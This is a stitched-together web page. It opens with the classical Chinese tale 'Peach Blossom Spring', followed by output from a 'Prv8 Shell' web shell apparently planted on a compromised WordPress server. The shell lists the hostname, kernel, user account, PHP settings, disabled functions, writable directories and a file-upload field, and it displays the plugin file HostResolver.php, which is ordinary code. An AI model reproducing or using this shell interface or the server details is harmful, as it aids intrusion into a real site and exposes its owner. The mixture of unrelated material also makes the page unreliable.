晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/oldTZh/wp-content/plugins/wp-rocket/inc/ThirdParty/Hostings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/oldTZh/wp-content/plugins/wp-rocket/inc/ThirdParty/Hostings/HostResolver.php
<?php

namespace WP_Rocket\ThirdParty\Hostings;

/**
 * Host Resolver.
 *
 * @since 3.6.3
 */
class HostResolver {

	/**
	 * Name of the current host service.
	 *
	 * @var string
	 */
	private static $hostname = '';

	/**
	 * Get the name of an identifiable hosting service.
	 *
	 * @since 3.6.3
	 *
	 * @param bool $ignore_cached_hostname (optional) Don't use cached hostname when true.
	 *
	 * @return string Name of the hosting service or '' if no service is recognized.
	 */
	public static function get_host_service( $ignore_cached_hostname = false ) {

		if ( ! $ignore_cached_hostname && ! empty( self::$hostname ) ) {
			return self::$hostname;
		}

		if ( isset( $_SERVER['GROUPONE_BRAND_NAME'] ) ) {
			$group_one_brand_name = strtolower( sanitize_text_field( wp_unslash( $_SERVER['GROUPONE_BRAND_NAME'] ) ) );

			switch ( $group_one_brand_name ) {
				case 'one.com':
					self::$hostname = 'onecom';
					return 'onecom';
				case 'proisp.no':
					self::$hostname = 'proisp';
					return 'proisp';
			}
		}

		if ( isset( $_SERVER['cw_allowed_ip'] ) ) {
			self::$hostname = 'cloudways';

			return 'cloudways';
		}

		if ( rocket_get_constant( 'IS_PRESSABLE' ) ) {
			self::$hostname = 'pressable';

			return 'pressable';
		}

		if ( getenv( 'SPINUPWP_CACHE_PATH' ) ) {
			self::$hostname = 'spinupwp';

			return 'spinupwp';
		}

		if (
		(
			class_exists( 'WpeCommon' )
			&&
			function_exists( 'wpe_param' )
		)
		) {
			self::$hostname = 'wpengine';

			return 'wpengine';
		}

		if ( rocket_has_constant( 'O2SWITCH_VARNISH_PURGE_KEY' ) ) {
			self::$hostname = 'o2switch';

			return 'o2switch';
		}

		if ( rocket_get_constant( 'WPCOMSH_VERSION' ) ) {
			self::$hostname = 'wordpresscom';

			return 'wordpresscom';
		}

		if (
			rocket_get_constant( '\Savvii\CacheFlusherPlugin::NAME_FLUSH_NOW' )
			&&
			rocket_get_constant( '\Savvii\CacheFlusherPlugin::NAME_DOMAINFLUSH_NOW' )
		) {
			return 'savvii';
		}

		if ( self::is_dreampress() ) {
			return 'dreampress';
		}

		if ( isset( $_SERVER['HTTP_WPXCLOUD'] ) ) {
			self::$hostname = 'wpxcloud';
			return 'wpxcloud';
		}

		if ( isset( $_SERVER['X-LSCACHE'] ) ) {
			self::$hostname = 'litespeed';
			return 'litespeed';
		}

		if ( class_exists( '\WPaas\Plugin' ) ) {
			self::$hostname = 'godaddy';
			return 'godaddy';
		}

		if ( isset( $_SERVER['KINSTA_CACHE_ZONE'] ) ) {
			self::$hostname = 'kinsta';
			return 'kinsta';
		}

		return '';
	}

	/**
	 * Checks if the current host is DreamPress
	 *
	 * @since 3.7.2
	 *
	 * @return boolean
	 */
	private static function is_dreampress() {
		if ( ! isset( $_SERVER['DH_USER'] ) ) {
			return false;
		}

		if (
			! rocket_get_constant( 'WP_ROCKET_IS_TESTING', false )
			&&
			'dp-' !== substr( gethostname(), 0, 3 )
		) {
			return false;
		}

		return 'wp_' === substr( sanitize_key( wp_unslash( $_SERVER['DH_USER'] ) ), 0, 3 );
	}
}

haha - 2025